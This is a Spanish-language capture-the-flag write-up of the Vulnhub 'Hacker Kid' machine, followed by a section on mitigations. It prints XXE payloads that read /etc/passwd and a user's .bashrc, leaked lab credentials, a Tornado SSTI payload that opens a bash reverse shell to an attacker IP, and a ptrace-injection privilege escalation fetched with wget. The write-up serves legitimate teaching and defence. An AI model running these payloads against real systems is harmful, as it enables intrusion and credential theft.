Preparación del laboratorio

La máquina del laboratorio está disponible en: Vulnhub hacker-kid-101

  • Se ha importado la imagen OVA descargada desde el enlace proporcionado.
  • En los ajustes de red, la máquina se ha configurado en una red NAT con el rango 10.0.2.0/24.

Identificación

El primer paso al trabajar con una máquina de Vulnhub es identificar la dirección IP de la máquina virtual. Para ello se ha utilizado la herramienta arp-scan.

ARP Scan

En este caso, la dirección IP asignada a la máquina es 10.0.2.25.

Enumeración

Para obtener información detallada sobre los puertos abiertos y los servicios en funcionamiento en esta máquina, utilizamos la herramienta nmap.

sudo nmap -p- -sV -T5 -min-rate 5000 -n -Pn 10.0.2.25

Explicación de las opciones:

  • -p-: Escanea todos los puertos.
  • -sV: Detecta las versiones de los servicios.
  • -T5: Establece la máxima velocidad en el tiempo de espera.
  • -min-rate 5000: Establece la tasa mínima de 5000 paquetes por segundo.
  • -n: Omite la resolución de nombres de host.
  • -Pn: Omite los escaneos de ping, asumiendo que los hosts están activos.

Resultado de nmap: puertos abiertos 53, 80 y 9999

Interpretemos la información proporcionada por nmap:

El puerto 53 ejecuta un servicio DNS con ISC BIND, encargado de la traducción de nombres de dominio a direcciones IP.

El puerto 80 contiene un servidor web Apache:

Web del puerto 80

El puerto 9999 contiene un servicio HTTP llamado Tornado, un servidor web basado en Python orientado a aplicaciones en tiempo real.

Web del puerto 9999

Exploración del servidor web (puerto 80)

Procedemos a inspeccionar la web que se encuentra en el puerto 80. Podemos observar que es posible navegar entre diferentes páginas utilizando el parámetro page_no en las peticiones GET.

Inspección del código

Con la herramienta Burp Suite podemos capturar una petición y ver los resultados para los diferentes números de página.

Una vez capturada la petición http://10.0.2.25/?page_no=1, la enviamos a la herramienta Intruder para probar varias numeraciones.

Puedes usar el atajo Ctrl+i para enviar la petición a la herramienta Intruder.

Intruder Positions

Configuramos el payload para que se usen los números del 1 al 30 como valor del parámetro page_no.

Intruder payload

A continuación, iniciamos el ataque. Al finalizar, podemos ver que una de las peticiones responde con un tamaño muy diferente al resto.

Intruder Results

Al acceder a la dirección http://10.0.2.25/?page_no=21, se observa al final de la página el siguiente mensaje:

Page 21

La pista sugiere la necesidad de enumerar subdominios asociados a hackers.blackhat.local.

Resolución de DNS y descubrimiento de subdominios

Continuamos añadiendo una entrada al archivo /etc/hosts para asociar la IP con los dominios hackers.blackhat.local y blackhat.local.

Esto es útil para resolver nombres de dominio cuando no disponemos de servidores DNS externos a los que consultar.

10.0.2.25   hackers.blackhat.local blackhat.local

Puedes usar el comando sudo nano /etc/hosts para editar el contenido del archivo /etc/hosts.

El análisis del servicio DNS alojado en el puerto 53 puede revelar información sobre el dominio y sus subdominios.

Utilizamos la herramienta dig (Domain Information Groper) para consultar el servidor DNS y obtener información sobre posibles subdominios, aunque no está diseñada específicamente para este propósito.

Información del dominio

El servidor de nombres autorizado es blackhat.local. hackerkid.blackhat.local.

Debemos añadir el subdominio hackerkid.blackhat.local al archivo hosts, tal como hicimos antes.

Archivo etc hosts

Al acceder al subdominio podemos ver el siguiente formulario:

Formulario subdominio

Análisis de vulnerabilidades

Con Burp Suite interceptamos nuevamente la petición POST del formulario para ver cómo se construye el cuerpo del mensaje.

Formulario subdominio post request

Procedemos a enviar el formulario con los siguientes datos:

Formulario email reflejado

En la imagen anterior podemos observar que el correo electrónico se refleja en la respuesta, indicando que no es válido, lo que sugiere una posible vulnerabilidad a inyecciones XXE.

Explotación de la vulnerabilidad XXE

La vulnerabilidad XXE permite la inclusión de entidades externas dentro de documentos XML. A continuación, modificamos la solicitud interceptada para explotarla.

El objetivo es modificar el cuerpo del mensaje de la solicitud para realizar una inyección XXE con la que leer el archivo /etc/passwd.

A continuación, se muestra el payload utilizado:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>
    <name></name>
    <tel></tel>
    <email>&xxe;</email>
    <password></password>
</root>

Lo importante es <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>: aquí se define una entidad llamada xxe. Esta entidad hace referencia a un recurso externo, el archivo del sistema /etc/passwd. Esto significa que, cuando se use &xxe; en el XML, el contenido de dicho archivo será insertado en su lugar.

Formulario email reflejado

A continuación, guardamos la información de las cuentas de usuario obtenidas en un archivo passwd.txt para filtrar por las que tienen login.

grep -v nologin passwd.txt
  • La opción -v muestra todas las líneas que no contienen el patrón especificado.

Listado de los usuarios con acceso mediante login:

Usuarios con login

En las pistas que mostraba la página nº 21, se leía: “Out of my many homes…one such home..one such home for me: hackers.blackhat.local”.

De la lista anterior, el único usuario con directorio home y acceso por login es saket.

Al intentar obtener el archivo /home/saket/.bashrc de la misma forma que /etc/passwd, no obtenemos ningún resultado. Sin embargo, esto se resuelve utilizando el wrapper PHP php://filter, que aplica un filtro para convertir el contenido del archivo a base64.

Esto se hace principalmente para evitar problemas con caracteres especiales que podrían romper la estructura del XML o ser interpretados incorrectamente.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root>
    <name></name>
    <tel></tel>
    <email>&xxe;</email>
    <password></password>
</root>

Mandamos este payload con Burp Suite:

XXE

Usamos el conversor de base64 a texto que proporciona Burp Suite para ver el contenido del archivo y encontramos unas credenciales.

username="admin"
password="Saket!#$%@!!"

Accedemos al servicio web que encontramos en el puerto 9999. Al utilizar el usuario admin obtenemos un error, pero con el usuario saket conseguimos iniciar sesión.

WEB Python

Análisis de vulnerabilidades de Tornado

Con una búsqueda rápida en internet comprobamos que Tornado 6.1 es vulnerable a SSTI (Server-Side Template Injection).

Enlaces de interés:

En la captura anterior vemos que la página solicita un nombre mediante el mensaje “Tell me your name buddy” (“Dime tu nombre, amigo”).

Esto sugiere la existencia de un parámetro GET denominado name.

Parámetro name

Parece que la funcionalidad de la aplicación es devolver el valor del parámetro name. Por lo tanto, podemos probar si es vulnerable a SSTI con un ejemplo simple.

WEB Python SSTI Test

¡Es vulnerbale! 😏

Esto significa que podemos inyectar una reverse shell.

Explotación vulnerabilidad SSTI de Tornado

En una terminal, iniciamos un servidor Netcat para escuchar conexiones entrantes en el puerto 4444.

nc -nlvp 4444

Este servidor esperará una conexión inversa desde la máquina objetivo

Usamos el payload {% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/10.0.2.16/4444 0>&1"')}} para hacer la reverse shell.

  • {% import os %}: Importa el módulo os de Python, que permite interactuar con el sistema operativo.
  • {{os.system(...)}}: Ejecuta el comando dentro de las comillas.
  • bash -c "bash -i >& /dev/tcp/10.0.2.16/4444 0>&1": Inicia una shell interactiva y redirige su entrada y salida a nuestro servidor Netcat.

Antes de utilizar el payload, es necesario codificarlo con URL Encode:

10.0.2.25:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.16%2F4444%200%3E%261%22%27%29%7D%7D

Recibimos la conexión en la terminal:

Reverse shell

¡Estamos dentro! 😈

Una vez que hemos obtenido acceso a la shell, podemos mejorarla utilizando Python, obteniendo una interfaz más completa y fácil de usar.

which python3

python3 -c 'import pty;pty.spawn("/bin/bash")'

El comando which python3 se utiliza para determinar la ubicación del ejecutable de Python 3 en el sistema. Si lo encuetra, devuelve la ruta de Python.

Análisis de vulnerabilidades para escalar privilegios

Vamos a buscar todos los archivos binarios que tengan capacidades (capabilities) configuradas.

Las capacidades de Linux permiten que los archivos binarios, ejecutados por usuarios no privilegiados, realicen operaciones que normalmente requieren permisos de root.

/sbin/getcap -r / 2>/dev/null

Capacidades del sistema de archivos

La capacidad CAP_SYS_PTRACE está presente en el conjunto de capacidades permitidas del binario /usr/bin/python2.7. Un proceso con CAP_SYS_PTRACE puede adjuntarse a cualquier otro proceso en el sistema, incluyendo aquellos con mayor nivel de privilegio.

Esto podría permitir ejecutar código arbitrario en el contexto de otro proceso, lo que potencialmente facilita la escalación de privilegios.

Procederemos a verificar los servicios que se están ejecutando en la máquina con privilegios de root.

ps -eaf | grep root

Servicios en ejecución

El servicio Apache2 se está ejecutando en la máquina con el PID 1361.

A continuación, necesitamos saber si la máquina ejecuta una versión de Linux de 32 o 64 bits.

Servicios en ejecución

La máquina está configurada con un Linux de 64 bits.

Escalada de privilegios

En HackTricks podemos encontrar un artículo que explica la escalada de privilegios cuando se dispone de la capacidad CAP_SYS_PTRACE.

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

Hacktricks

Copiamos el exploit de ejemplo y lo guardamos como inject.py.

Este exploit crea un BIND TCP Shell en el puerto 5600 al que luego podremos conectarnos utilizando NetCat.

En la ubicación del archivo, iniciamos un servidor HTTP con python -m http.server, lo que nos permite descargarlo en la máquina objetivo mediante wget http://10.0.2.16:8000/inject.py.

Ejecución del exploit:

python2.7 inject.py 1361

El PID 1361 pertenece al servicio Apache2 que se está ejecutando en la máquina.

Python2.7 Injection

A continuación, comprobamos con netstat si se ha establecido la conexión al puerto 5600.

netstat -ntlp

netstat

Para finalizar, utilizamos Netcat para establecer una conexión con el puerto 5600 de la máquina objetivo.

nc 10.0.2.25 5600

Root

pwn3d! 🏴‍☠️

Mitigaciones

Las siguientes medidas están centradas en reducir el riesgo observado durante la resolución de la máquina.

XXE (External XML Entity)

La aplicación procesaba el contenido XML enviado desde el formulario y permitía definir entidades externas. Esto hizo posible leer archivos locales como /etc/passwd y, posteriormente, acceder al archivo .bashrc del usuario saket.

Para corregirlo, el parser XML debe rechazar las declaraciones DOCTYPE y tener deshabilitada tanto la resolución de entidades externas como la carga de DTD externas. En PHP con libxml, por ejemplo, no deberían utilizarse opciones como LIBXML_NOENT o LIBXML_DTDLOAD con contenido controlado por el usuario.

Además, el servicio web debería ejecutarse con un usuario sin permisos para leer archivos personales o sensibles. De esta forma, incluso si apareciera otra vulnerabilidad XXE, su impacto quedaría limitado.

Como medida de detección, conviene registrar las peticiones XML que incluyan cadenas como <!DOCTYPE, <!ENTITY, SYSTEM, file:// o php://filter, ya que fueron elementos necesarios para realizar la explotación en este laboratorio.

SSTI en Tornado

El parámetro name se insertaba directamente en una plantilla de Tornado. Como el contenido recibido era interpretado por el motor de plantillas, fue posible importar el módulo os y ejecutar comandos en el servidor.

La solución principal es evitar construir o renderizar plantillas a partir de entradas proporcionadas por el usuario. El valor de name debería tratarse únicamente como un dato y pasarse a una plantilla fija mediante una variable correctamente escapada.

También debería revisarse la versión de Tornado utilizada y actualizarla cuando corresponda. Sin embargo, una actualización no sustituye la necesidad de corregir la forma en la que la aplicación genera las plantillas.

Para detectar intentos de explotación pueden monitorizarse parámetros que contengan expresiones como {% import %}, {{ ... }}, os.system, subprocess o secuencias codificadas que representen estas construcciones. Estas alertas deben servir como apoyo, no como sustituto de la corrección en el código.

Capacidad CAP_SYS_PTRACE en binarios no privilegiados

La escalada de privilegios fue posible porque /usr/bin/python2.7 tenía asignada la capacidad CAP_SYS_PTRACE. Al tratarse de un intérprete de propósito general, esta capacidad permitió ejecutar un script que se adjuntó a un proceso de Apache ejecutado como root e inyectó código en él.

Si esta capacidad no es imprescindible, debe eliminarse:

sudo setcap -r /usr/bin/python2.7

También debería investigarse por qué se asignó originalmente. Las capabilities solo deben concederse a binarios específicos que necesiten realizar una operación concreta, nunca a intérpretes como Python, Perl o Ruby, ya que permiten ejecutar código arbitrario con los privilegios asociados.

Como medida adicional, se pueden realizar revisiones periódicas con getcap -r / y configurar auditd para registrar llamadas a ptrace, especialmente cuando un proceso sin privilegios intenta adjuntarse a servicios ejecutados como root.

Exposición de credenciales en archivos de configuración

Mediante la vulnerabilidad XXE se obtuvo el contenido de /home/saket/.bashrc, donde aparecían las credenciales utilizadas posteriormente para acceder al servicio Tornado. Esto demuestra que los archivos personales y de configuración no son lugares adecuados para almacenar contraseñas.

Las credenciales expuestas deben rotarse y eliminarse del archivo. Además, habría que comprobar si la misma contraseña se reutiliza en otros servicios o cuentas.

En un entorno real, los secretos deberían almacenarse mediante un gestor de secretos o mediante variables de entorno gestionadas con permisos restrictivos. El proceso de la aplicación solo debería poder acceder a los secretos que necesita y estos nunca deberían incluirse en archivos servidos por la aplicación, repositorios de código, scripts de inicio o archivos como .bashrc.